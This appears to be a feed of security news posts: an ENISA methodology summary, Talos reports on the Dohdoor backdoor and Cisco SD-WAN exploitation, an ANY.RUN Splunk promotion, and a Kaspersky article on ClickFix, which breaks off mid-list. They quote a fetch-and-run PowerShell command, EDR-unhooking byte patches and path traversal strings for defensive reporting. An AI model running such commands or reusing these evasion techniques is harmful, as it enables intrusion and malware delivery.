The European Union Agency for Cybersecurity (ENISA) released its updated cybersecurity exercise methodology, providing organizations and governments across Europe with a structured framework for planning, executing, and evaluating cybersecurity exercises. Designed to be both practical and theoretically robust, this methodology offers an end-to-end approach to enhancing preparedness against cyber threats while ensuring alignment with major European regulations, including NIS2 and the EU Cybersecurity Act.
The Purpose of a Cybersecurity Exercise Methodology
The ENISA methodology serves as a blueprint for organizations seeking to strengthen their cyber resilience. It is specifically crafted for cybersecurity professionals, organizational planners, and government entities aiming to:
Understand the intricacies of organizing and planning cybersecurity exercises.
Evaluate current cyberattack response capabilities.
Demonstrate the strategic importance of exercises to senior management.
Test operational skills, incident response procedures, and regulatory compliance.
By offering a combination of theoretical insights, lessons learned from past exercises, and industry best practices, ENISA equips planners with a framework that ensures the right stakeholders and expertise are involved at the appropriate stages. This framework is complemented by a practical support toolkit containing templates, checklists, and guiding materials to streamline the planning process.
Aligning with European Standards and Regulations
The methodology is intentionally designed to be flexible while maintaining compliance with established standards such as ISO 22398:2013 and ISO 22361:2022. Its alignment with European regulations, including NIS2, the EU Cybersecurity Act, the Cyber Resilience Act, the Digital Operational Resilience Act, and the GDPR, ensures that exercises do not simply simulate threats but also test an organization’s regulatory readiness. This dual focus on operational effectiveness and compliance is increasingly vital in a landscape where cyberattacks can have both technical and legal consequences.
Core Principles of the ENISA Methodology
The ENISA cybersecurity exercise methodology rests on several foundational principles:
Structured Planning: Exercises follow a systematic, user-friendly process covering all dimensions from compliance to operational execution.
Capacity Building: Organizations can identify skill gaps, procedural weaknesses, and technological vulnerabilities through clear, measurable objectives.
Flexibility: The methodology adapts to organizational maturity, exercise complexity, and scale, supporting both national-level and sector-specific simulations.
Resource Ecosystem: Planners gain access to templates, checklists, and guidance aligned with the European Cybersecurity Skills Framework (ECSF), which defines 12 standard professional cybersecurity roles across the EU.
Community Collaboration: ENISA maintains a network of workshops and expert forums, ensuring knowledge exchange and continual evolution of the methodology.
Phases and Practical Components
ENISA’s approach divides a cybersecurity exercise into six critical phases, guiding organizations from conceptualization to post-exercise evaluation. Each phase is supplemented by the support toolkit to ensure exercises are realistic, actionable, and aligned with organizational goals. Key components include:
Exercise Plan: Serves as the blueprint, detailing objectives, logistics, timelines, roles, and scope. This ensures that every participant understands their responsibilities and expected outcomes.
Evaluation Plan: Defines capability targets, evaluator roles, assessment tools, and timelines for before, during, and after the exercise.
Communications Plan: Establishes channels and protocols to ensure stakeholders remain informed and engaged throughout the exercise lifecycle.
Master Scenario Event List (MSEL): Provides a sequenced structure of events, incidents, and injects to simulate cyber crises in a controlled environment.
After-Action Report (AAR): Captures findings, lessons identified, recommendations, and performance metrics to inform continuous improvement.
Real-World Implications
Organizations that adopt the ENISA methodology gain measurable benefits. Structured planning reduces preparation time and prevents common oversights, while the evaluation framework helps translate exercise outcomes into actionable improvements. By integrating the methodology with NIS2 and the EU Cybersecurity Act, planners can also demonstrate compliance with regulators and build internal confidence in cyber readiness.
Furthermore, the methodology encourages a culture of continuous improvement. Lessons identified in one exercise feed directly into future scenarios, enhancing resilience over time. The support from ENISA’s workshops and expert community ensures that even complex national-level exercises can draw on shared expertise and practical insights.
The ENISA cybersecurity exercise methodology is more than a theoretical guide; it is a practical framework that empowers organizations to prepare and respond to cyber threats systematically. Its integration with the EU Cybersecurity Act, NIS2, and other EU directives ensures exercises serve both operational and regulatory objectives. By combining structured planning, flexible execution, and a supportive community ecosystem, ENISA enables organizations to strengthen cyber resilience, improve regulatory compliance, and continuously evolve their cybersecurity posture.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-02-26 12:06:372026-02-26 12:06:37ENISA’s Updated Cybersecurity Methodology Aligns with NIS2 and EU Cybersecurity Act
Cisco Talos discovered an ongoing malicious campaign since at least as early as December 2025 by a threat actor we track as “UAT-10027,” delivering a previously undisclosed backdoor dubbed “Dohdoor.”
Dohdoor utilizes the DNS-over-HTTPS (DoH) technique for command-and-control (C2) communications and has the ability to download and execute other payload binaries reflectively.
UAT-10027 targeted victims in the education and health care sectors in the United States through a multi-stage attack chain.
Talos observed the actor misused various living-off-the-land executables (LOLBins) to sideload the Dohdoor and has set up the C2 infrastructure behind reputable cloud services, such as Cloudflare, to enable stealth C2 communication.
Multi-stage attack chain
Talos discovered a multi-stage attack campaign targeting the victims in education and health care sectors, predominantly in the United States.
The campaign involves a multi-stage attack chain, where initial access is likely achieved through social engineering phishing techniques. The infection chain executes a PowerShell script that downloads and runs a Windows batch script from a remote staging server through a URL. Subsequently, the batch script facilitates the download of a malicious Windows dynamic-link library (DLL), which is disguised as a legitimate Windows DLL file. The batch script then executes the malicious DLL dubbed as Dohdoor, by sideloading it to a legitimate Windows executable. Once activated, the Dohdoor employs the DNS-over-HTTPS (DoH) technique to resolve command-and-control (C2) domains within Cloudflare’s DNS service. Utilizing the resolved IP address, it establishes an HTTPS tunnel to communicate with the Cloudflare edge network, which effectively serves as a front for the concealed C2 infrastructure. Dohdoor subsequently creates backdoored access into the victim’s environment, enabling the threat actor to download the next-stage payload directly into the victim machine’s memory and execute the potential Cobalt Strike Beacon payload, reflectively within legitimate Windows processes.
In this campaign, the threat actor hides the C2 servers behind the Cloudflare infrastructure, ensuring that all outbound communication from the victim machine appears as legitimate HTTPS traffic to a trusted global IP address. This obfuscation is further reinforced by utilizing subdomain names such as “MswInSofTUpDloAd” and “DEEPinSPeCTioNsyStEM”, which mimic Microsoft Windows software updates or a security appliance check-in to evade automated detections. Additionally, employing irregular capitalization across non-traditional Top-Level Domains (TLD) like “.OnLiNe”, “.DeSigN”, and “.SoFTWARe” not only bypasses string matching filters but also aids in adversarial infrastructure redundancy by preventing a single blocklist entry from neutralizing their intrusion.
PowerShell downloader
Talos discovered suspicious download activity in our telemetry where the threat actor executed “curl.exe” with an encoded URL, downloading a malicious Windows batch file with the file extensions “.bat” or “.cmd”.
Figure 2. Snippet of the PowerShell downloader command.
While the initial infection vector remains unknown, we observed several PowerShell scripts in OSINT data containing embedded download URLs similar to those identified in the telemetry. The threat actor appeared to have executed the download command via a PowerShell script that was potentially delivered to the victim through a phishing email.
Figure 3. Sample of related PowerShell script. Figure 4. Sample of related PowerShell script.
Windows batch script and anti-forensics
The second stage component of the attack chain is a Windows batch script dropper that effectively orchestrates a DLL sideloading technique to execute the malicious DLL while simultaneously conducting anti-forensic cleanup.
This process initiates by creating a hidden workspace folder in either “C:ProgramData” or the “C:UsersPublic” folder. It then downloads a malicious DLL from the command-and-control server using the URL /111111?sub=d, placing it into the workspace, disguising it as legitimate Windows DLL file name, such as “propsys.dll” or “batmeter.dll”. The script subsequently copies legitimate Windows executables, such as “Fondue.exe”, “mblctr.exe”, and “ScreenClippingHost.exe”, into the working folder and executes these programs from the working folder, using the C2 URL /111111?sub=s as the argument parameter. The legitimate executable sideloads and runs the malicious DLL. Finally, the script performs anti-forensics by deleting the Run command history from the RunMRU registry key, clearing the clipboard data, and ultimately deleting itself.
Figure 5. Deobfuscated Windows batch loader script (C2 URLs defanged).
Dohdoor potentially runs the payload reflectively
UAT-10027 downloaded and executed a malicious DLL using the DLL sideloading technique. The malicious DLL operates as a loader, which we call “Dohdoor,” and it is designed to download, decrypt, and execute malicious payloads within legitimate Windows processes. It evades detection through API obfuscation and encrypted C2 communications, and bypasses endpoint detection and response (EDR) detections.
Dohdoor is a 64-bit DLL that was compiled on Nov. 25, 2025, containing the debug string “C:UsersdiabloDesktopSimpleDllTlsClient.hpp”. Dohdoor begins execution by dynamically resolving Windows API functions using hash-based lookups rather than using static imports, evading the signature-based detections from identifying the malware Import Address Table (IAT). Dohdoor then parses command line arguments that the actor has passed during the execution of the legitimate Windows executable which sideloads the Dohdoor. It extracts an HTTPS URL pointing to the C2 server, and a resource path specifying the type of payload to download.
Figure 6. Snippet of Dohdoor function, showing API hash resolving and command line argument parsing.
Dohdoor employs stealthy domain resolution utilizing the DNS-over-HTTPS technique to effectively resolve the C2 server IP address. Rather than generating plaintext DNS queries, it securely sends encrypted DNS requests to Cloudflare’s DNS server over HTTPS port 443. It constructs DNS queries for both IPv4 (A records) and IPv6 (AAAA records) and formats them using the template strings that include the HTTP header parameters such as User-Agent: insomnia/11.3.0 and Accept: applications/dns-json, producing a complete HTTP GET request.
The formatted HTTP request is sent through encrypted connections. After receiving the JSON response of the Cloudflare DNS servers, it parses them by searching for specific patterns rather than using a full JSON parser. It searches for the string “Answer” to locate the answer section of the response, and if found, it will search for the string “data” to locate the data field containing the IP address.
This technique bypasses DNS-based detection systems, DNS sinkholes, and network traffic analysis tools that monitor suspicious domain lookups, ensuring that the malware’s C2 communications remain stealth by traditional network security infrastructure.
Figure 7. Snippet of Dohdoor showing the DoH technique.
With the resolved IP address, Dohdoor establishes a secure connection to the C2 server by constructing the GET requests with the HTTP headers including “User-agent: curl/7.88” or “curl/7.83.1” and the URL /X111111?sub=s. It supports both standard HTTP responses with Content-length headers and chunked encoding.
Dohdoor receives an encrypted payload from the C2 server. The encrypted payload undergoes custom XOR-SUB decryption using a position-dependent cipher. The encrypted data maintains a 4:1 expansion ratio where the encrypted data is four times larger than the decrypted data. The decryption routine of Dohdoor operates in two ways. A vectorized (Single Instruction, Multiple Data) SIMD method for bulk processing and a simpler loop to handle the remaining encrypted data.
The main decryption routine processes 16-byte blocks of the encrypted data using the SIMD instructions. It calculates position-dependent indexes, retrieves encrypted data and applies XOR-SUB decryption using the 32-byte key. This decryption routine repeats four times per iteration until it reaches the end of a 16-byte block.
Figure 8. Dohdoor function snippet showing the single instruction, multiple data (SMID) instructions.
For the encrypted data that remains out of the 16-byte blocks, it applies to the decryption formula “decrypted[i] = encrypted[i*4] – i – 0x26”. Every fourth byte is sampled from the encryption data buffer; the position index is subtracted to create position-dependent decryption, and finally the constant 0x26 is subtracted.
Figure 9. Snippet of Dohdoor showing the position dependent decryption algorithm.
Once the payload is decrypted, Dohdoor injects the payload binary into a legitimate Windows process utilizing process hollowing technique. The actor targets legitimate Windows binaries by hardcoding the executable paths, ensuring that Dohdoor executes them in a suspended state. It then performs process hollowing, seamlessly injecting the decrypted payload before resuming the process, allowing the payload to run stealthily and effectively. In this campaign, the legitimate Windows binaries targeted for process hollowing are listed below:
Talos observed that the Dohdoor implements an EDR bypass technique by unhooking system calls (syscalls) to bypass EDR products that monitor Windows API calls through user mode hooks in ntdll.dll. Security products usually patch the beginning of ntdllfunctions to redirect execution through their monitoring code before allowing the original system call to execute.
Evasive malwares usually detect system call hooks by reading the first bytes of critical ntdll functions and comparing them against the expected syscall stub pattern that begins with “mov r10, rcx; mov eax, syscall_number”. If the bytes match the expected pattern indicating the function is not hooked, or if hooks are detected, the malware can write replacement code that either restores the original instructions or creates a direct syscall trampoline that bypasses the hooked function entirely.
Dohdoor achieves this by locating ntdll.dll with the hash “0x28cc” and finds NtProtectVirtualMemory with the hash “0xbc46c894”. Then it reads the first 32 bytes of the function using ReadProcessMemory that dynamically loads during the execution and compares them with the syscall stub pattern in hexadecimal “4C 8B D1 B8 FF 00 00 00” which corresponds to the assembly instructions “mov r10, rcx; mov eax, 0FFh”. If the byte pattern matches, it writes a 6-byte patch in hexadecimal “B8 BB 00 00 00 C3” which corresponds to assembly instruction “mov eax, 0BBh; ret”, resulting in creating a direct syscall stub that bypasses any user mode hooks.
Figure 10. Dohdoor function showing the syscall unhooking EDR bypass technique.
During our research, we were unable to find a payload that was downloaded and implanted by the Dohdoor. Still, we found that one of the C2 hosts associated with this campaign had a JA3S hash of “466556e923186364e82cbdb4cad8df2c” and the TLS certificate serial number “7FF31977972C224A76155D13B6D685E3” according to the OSINT data. The JA3S hash and the serial number found resembles the JA3S hash of the default Cobalt Strike server, indicating that the threat actor was potentially using the Cobalt Strike beacon as the payload to establish persistent connection to the victim network and execute further payloads.
Low confidence TTPs overlap with North Korean actors’ techniques
Talos assesses with lowconfidence that UAT-10027 is North Korea-nexus, based on the similarities in the tactics, techniques, and procedures (TTPs) with that of the other known North Korean APT actor Lazarus.
We observed similarities in the technical characteristics of Dohdoor with Lazarloader, a tool belonging to the North Korean APT Lazarus. The key similarity noted is the usage of a custom XOR-SUB with the position-dependent decryption technique and the specific constant in hexadecimal (0x26) for subtraction operation. Additionally, the NTDLL unhooking technique used to bypass EDR monitoring by identifying and restoring system call stubs aligns with features found in earlier Lazarloader variants.
The implementation of DNS-over-HTTPS (DoH) via Cloudflare’s DNS service to circumvent traditional DNS security, along with the process hollowing technique to reflectively execute the decrypted payload in targeted legitimate Windows binaries like ImagingDevices.exe, and the sideloading of malicious DLLs in disguised file name “propsys.dll”, were observed in the tradecraft of the North Korean APT actor Lazarus.
In addition to the observed technical characteristics similarities of the tools, the use of multiple top-level domains (TLDs) including “.design”, “. software”, and “. online”, with varying case patterns, also aligns with the operational preferences of Lazarus. While UAT-10027’s malware shares technical overlaps with the Lazarus Group, the campaign’s focus on the education and health care sectors deviates from Lazarus’ typical profile of cryptocurrency and defense targeting. However, Talos has historically seen that North Korean APT actors have targeted the healthcare sector using Maui ransomware, and another North Korean APT group, Kimsuky, has targeted the education sector, highlighting the overlaps in the victimology of UAT-10027 with that of other North Korean APTs.
Coverage
The following ClamAV signature detects and blocks this threat:
Win.Loader.Dohdoor-10059347-0
Win.Loader.Dohdoor-10059535-0
Ps1.Loader.Dohdoor-10059533-0
Ps1.Loader.Dohdoor-10059534-0
The following SNORT® Rules (SIDs) detect and block this threat:
Snort2 – 65950, 65951, 65949
Snort3 – 301407, 65949
Indicators of compromise (IOCs)
The IOCs for this threat are also available at our GitHub repository here.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-02-26 11:06:342026-02-26 11:06:34New Dohdoor malware campaign targets education and health care
Security teams don’t lack alerts, they lack fast, reliable context for decision-making. When threat analysis and intelligence are not an integrated part of the SOC workflow, investigations slow down, MTTR grows, and the risk of missed incidents increases. Adding behavioral analysis and live intelligence directly into SIEM closes this gap, turning monitoring, triage, and response into faster, higher-ROI processes.
Instead of exporting reports or attaching external files, analysis results and intelligence data are ingested as structured Splunk events. This allows them to be searched, correlated, visualized, and used in alerts and dashboards using standard SIEM mechanisms.
The integration helps SOC teams:
Boost triage quality of suspicious URLs with sandbox analysis: Behavioral verdicts inside Splunk help analysts make faster, evidence-based decisions, reducing MTTR and lowering the risk of missed threats.
Accelerate alert validation with context enrichment: Instant IOC context speeds up prioritization, shortens investigation time per alert, and reduces operational overhead.
Expand threat coverage with actionable intel: Fresh, verified malicious IPs, domains, and URLs strengthen correlation rules, improve MTTD, and reduce blind spots in detection.
Improve SOC reporting & visibility: Dashboards built on sandbox submissions, verdict trends, enriched indicators, and campaign tags help SOC managers monitor workload, track investigation efficiency, and measure detection performance over time.
Meet SLAs and KPIs: For MSSP teams, the integration helps fix triage and response inefficiencies, manage a larger load of alerts without scaling the team, and deliver consistent results to more clients.
All components are designed to work inside existing SOC workflows. No separate consoles, no manual data transfer, no parallel processes.
As a result, malware analysis and threat enrichment become part of detection logic and investigation pipelines, not side tasks handled outside the SIEM.
Reduce MTTR by 21 minutes per case
Integrate ANY.RUN’s products in your Splunk workflows
ANY.RUN Sandbox: Improve Triage, Detect More Phishing Attacks
The sandbox analysis results are readily available inside Splunk Enterprise
The ANY.RUN Interactive Sandbox integration allows security teams to submit suspicious URLs directly from Splunk for analysis and receive structured results as native Splunk events.
Returned data includes verdict, risk score, extracted indicators, and a direct link to the full analysis session for deeper investigation. These results can immediately participate in correlation searches, alerts, dashboards, and response workflows inside the SIEM.
Faster MTTR: Sandbox verdicts appear directly in Splunk, helping teams move from alert to containment faster.
Higher detection rate of evasive attacks: Full behavioral execution increases the chance of catching threats that static checks miss.
More cases closed by Tier 1 analysts: Clear, evidence-based verdicts allow junior analysts to confidently resolve more alerts without waiting for higher tiers.
Lower false negative rate: Behavioral analysis reduces the risk of incorrectly closing alerts that later turn into confirmed incidents.
Splunk Enterprise provides stats on the sandbox analyses like top TTPs and threats
These improvements translate into lower investigation costs, fewer missed incidents, and more predictable incident response performance, with a 21-minute reduction in MTTR per case.
Practical Use Case: URL Analysis from SIEM Events
When a suspicious URL appears in a Splunk event, analysts can submit it directly to the ANY.RUN Sandbox. The analysis verdict returns as a native Splunk event and immediately participates in correlation, investigation, and response workflows.
Reduce business risk with full visibility into cyber attacks
With ANY.RUN, your SOC will make confident decisions faster
ANY.RUN TI Lookup: Identify and Prioritize Critical Risks Faster
TI Lookup delivers an actionable context for alerts to Splunk Enterprise workspace
The ANY.RUN Threat Intelligence Lookup integration enables on-demand enrichment of IPs, domains, URLs, and file hashes directly inside Splunk. The intelligence is sourced from millions of malware & phishing investigations done manually by 15,000+ SOC teams and 600,000+ analysts inside ANY.RUN’s Interactive Sandbox.
Enrichment results are returned as structured Splunk events, including verdict, industry targeting, last seen data, tags, and a direct link to detailed intelligence in the ANY.RUN interface. This data can be searched, correlated, visualized, and incorporated into alerting logic using native SIEM capabilities.
Faster triage decisions: Near-instant access to past analyses confirms whether an IOC is linked to real malicious activity, significantly reducing triage time.
Smarter response actions: Behavioral context and mapped TTPs help teams choose more precise containment steps instead of reacting blindly.
Fewer Tier 2 escalations: Tier 1 analysts receive enough context to make confident decisions independently, reducing internal bottlenecks.
Stronger detection logic: Enrichment data becomes searchable and reusable in correlation rules, improving detection accuracy without adding new tools.
TI Lookup dashboard shows key threats and targeted industries for your queries
As a result, teams improve SLA adherence, reduce average investigation time per alert, and strengthen detection accuracy with 58% more threats identified overall.
This leads to faster response, better use of existing security investments, and lower exposure to sector-specific attacks.
Practical Use Case: IOC Enrichment During Investigation
While reviewing an incident, analysts can enrich IPs, domains, URLs, or file hashes using TI Lookup. The contextual result is stored as a Splunk event, reducing manual research and accelerating decision-making.
Boost DR and reduce triage & response time
Enrich alerts with actionable intel from 15K companies
ANY.RUN TI Feeds: Strengthen Defense Against Emerging Threats
TI Feeds deliver fresh IOCs from the latest threats for stronger proactive defense
The ANY.RUN Threat Intelligence Feeds integration continuously streams verified malicious network indicators (IPs, domains, URLs) into Splunk, sourced from live sandbox analyses of real-world attacks across 15,000+ organizations.
Indicators delivered via ANY.RUN TI Feeds are stored in Splunk’s Key-Value Store (KV Store), making them searchable, filterable, and immediately usable in correlation rules, dashboards, and alerting workflows.
Earlier detection of emerging threats: Indicators are added to feeds as soon as they appear in live sandbox investigations, helping SOC teams identify new campaigns faster and reduce MTTD.
Wider threat coverage: A high share of globally observed, unique malicious infrastructure improves visibility into phishing and malware activity that traditional feeds often miss.
Reduced Tier 1 workload: Indicators are filtered for malicious activity, decreasing false positives and cutting investigation time spent on low-value alerts.
Detection that scales automatically: Continuous feed updates strengthen correlation rules over time without requiring manual tuning or additional staffing.
This improves MTTD, reduces false positive rates, and increases detection rate by 36% on average.
For the business, that means lower breach probability, reduced operational disruption, and better return on existing SIEM investments as the environment grows.
Prevent incidents with proactive threat detection
Keep your SIEM up-to-date with real-time IOCs
Practical Use Case: Threat Correlation with Fresh IOCs
ANY.RUN’s TI Feeds continuously supply verified malicious infrastructure into Splunk. Detection rules can automatically correlate incoming events against fresh indicators, increasing detection accuracy and reducing blind spots.
How to Integrate ANY.RUN in Splunk Enterprise
The ANY.RUN integrations are available for installation via Splunkbase. Security teams can find and deploy the add-ons directly from the Splunk app marketplace by searching for “ANY.RUN,” enabling fast deployment without complex configuration or custom development.
Conclusion
By embedding sandbox analysis, live enrichment, and verified malicious infrastructure directly into Splunk, ANY.RUN helps SOC teams triage faster, prioritize more accurately, and improve detection logic. The result is lower MTTR, fewer missed incidents, and stronger protection without increasing operational complexity.
About ANY.RUN
Trusted by 600,000+ cybersecurity professionals and 15,000+ organizations across critical industries, including 64% of Fortune 500 companies, ANY.RUN helps security teams detect and investigate threats faster.
Our Interactive Sandbox provides real-time behavioral analysis of suspicious files and URLs, enabling confident triage and response.
Threat Intelligence Lookup and Threat Intelligence Feeds deliver live, verified threat data that strengthens detection and improves prioritization.
By embedding analysis and intelligence into daily SOC workflows, ANY.RUN helps organizations reduce response time, lower operational costs, and minimize security risk.
How does this integration reduce overall business risk, not just improve analysis?
By embedding behavioral analysis and live threat intelligence directly into Splunk, threats are understood earlier in the attack chain. Earlier understanding leads to faster containment, lower incident impact, and reduced probability of breach-related downtime, fraud, or regulatory exposure.
What measurable security improvements should I expect?
SOC teams typically see reduced MTTR (up to 21 minutes per case), improved detection rate (up to 36%), and identification of up to 58% more threats through enriched intelligence. These improvements translate into fewer escalations, fewer missed incidents, and more predictable response performance.
How does this affect SOC efficiency and staffing pressure?
The integration enables Tier 1 analysts to close more alerts independently by providing behavioral verdicts and context directly in Splunk. This reduces escalation rates, prevents backlog growth during alert spikes, and helps manage higher alert volumes without increasing headcount.
Will this require changes to our existing security architecture?
No architectural overhaul is required. ANY.RUN integrates as native data sources inside Splunk Enterprise. Analysis results and intelligence are ingested as structured events and used within existing dashboards, correlation rules, and response workflows.
How does this improve SLA adherence for enterprise SOCs or MSSPs?
Faster alert validation and clearer risk prioritization reduce investigation time per case. This stabilizes response timelines, improves MTTR consistency, and allows MSSPs to support more clients without degrading service quality.
Cisco Talos is tracking the active exploitation of CVE-2026-20127, a vulnerability in Cisco Catalyst SD-WAN Controller, formerly vSmart, that allows an unauthenticated remote attacker to bypass authentication and obtain administrative privileges on the affected system by sending a crafted request to an affected system. Successful exploitation may allow the attacker to gain administrative privileges on the Controller as an internal, high privileged, non-root, user account.
Talos clusters this exploitation and subsequent post-compromise activity as “UAT-8616” whom we assess with high confidence is a highly sophisticated cyber threat actor. After the discovery of active exploitation of the 0-day in the wild, we were able to find evidence that the malicious activity went back at least three years (2023). Investigation conducted by intelligence partners identified that the actor likely escalated to root user via a software version downgrade. The actor then reportedly exploited CVE-2022-20775 before restoring back to the original software version, effectively allowing them to gain root access.
UAT-8616’s attempted exploitation indicates a continuing trend of the targeting of network edge devices by cyber threat actors looking to establish persistent footholds into high value organizations including Critical Infrastructure (CI) sectors.
Customers are strongly advised to follow the guidance published in the security advisories discussed below. Additional recommendations specific to Cisco are available here. Customers support is also available by initiating a TAC request. Talos strongly recommends that customers and partners using Cisco Catalyst SD-WAN technology follow the steps outlined in this advisory to help protect their environments.
Initial Peering Event Analysis
The initial and most critical activity to look for is any control connection peering event identified in Cisco Catalyst SD-WAN logs, as this may indicate an attempt at initial access via CVE-2026-20127. All such peering events require manual validation to confirm their legitimacy, with particular focus on vManage peering types. Threat actors who compromise Cisco Catalyst SD-WAN infrastructure often establish unauthorized peer connections that may appear superficially normal but occur at unexpected times, originate from unrecognized IP addresses, or involve device types inconsistent with the environment’s architecture. A comprehensive review process is essential to distinguish between legitimate network operations and potential indicators of compromise.
Validation Checklist Items Include
Verify the timestamp of each peering event against known maintenance windows, scheduled configuration changes, and normal operational hours for your environment.
Confirm the public IP address corresponds to infrastructure owned or operated by your organization or authorized partners by cross-referencing against asset inventories and authorized IP ranges.
Validate the peer system IP matches documented device assignments within your Cisco Catalyst SD-WAN topology.
Review the peer type (vmanage, vsmart, vedge, vbond) to ensure it aligns with expected device roles in your deployment.
Correlate multiple events from the same source IP or system IP to identify patterns of reconnaissance or persistent access attempts.
Cross-reference event timing with authentication logs, change management records, and user activity to establish whether the connection was initiated by authorized personnel.
In the identified example, the peer-system-ip should be validated as matching the expected IP address schema in-use, the timestamp should be validated as matching any events which might cause a peering event to occur and the public-ip should be validated as being an expected source for a peering event.
Additional Investigative Guidance
The following may be high-fidelity indicators of a successful compromise by UAT-8616 in an SD-WAN infrastructure setup:
Creation, usage and deletion of malicious user accounts including otherwise absent bash_history and cli-history.
Interactive root sessions on production systems including unaccounted SSH keys, known hosts and bash history. For example:
SSH Keys in: /home/root/.ssh/authorized_keys with “PermitRootLogin” set to “yes” in /etc/ssh/sshd_config
Known hosts in: /home/root/.ssh/known_hosts
Unauthorized or unaccounted SSH keys (“authorized_keys”) for the “vmanage-admin” account: /home/vmanage-admin/.ssh/authorized_keys/
Abnormally small logs including absent or size 0/1/2 byte logs.
Evidence of log and history clearing or truncation including:
syslog
wtmp
lastlog
cli-history
bash_history
Logs residing in /var/log/
Presence of cli-history file for a user without the bash history.
Indications of unexplained peers being dropped or added to the environment.
Unexpected and unauthorized version downgrades and upgrades accompanied by a system reboot. For example (log entries):
Waiting for upgrade confirmation from user. Device will revert to previous software version <version> in ‘100’ seconds unless confirmed.
Software upgrade not confirmed. Reverting to previous software version
Evidence of exploitation of CVE-2022-20775 such as specially crafted username path traversal string (E.g. “/../../” or “/n&../n&../”).
Recommendations
We strongly recommend that you perform the steps outlined in this document. Cisco has also published a hardening guide for Cisco Catalyst SD-WAN deployments located at https://sec.cloudapps.cisco.com/security/center/resources/Cisco-Catalyst-SD-WAN-HardeningGuide. It is strongly recommended that any customers who are utilizing the Cisco Catalyst SD-WAN technology follow the guidance provided in this hardening guide. We also recommend referring to advisories here and here and the Cisco Catalyst SD-WAN threat hunting guide released by our intelligence partners for additional detection guidance.
Talos Coverage
Talos is releasing the following Snort coverage for this threat and associated vulnerability:
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-02-25 17:06:342026-02-25 17:06:34Active exploitation of Cisco Catalyst SD-WAN by UAT-8616
About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.
In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.
Use of mshta.exe
Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.
There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.
Video on TikTok and PowerShell with administrator privileges
BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.
Using the Finger protocol
Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.
The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.
CrashFix variant
Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.
The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).
Malware delivery via DNS lookup
The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.
That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).
Cryptocurrency bait and JavaScript as payload
The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.
The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.
How to protect your company from ClickFix attacks
The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.
Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.
In addition, to protect against such cyberattacks, we recommend:
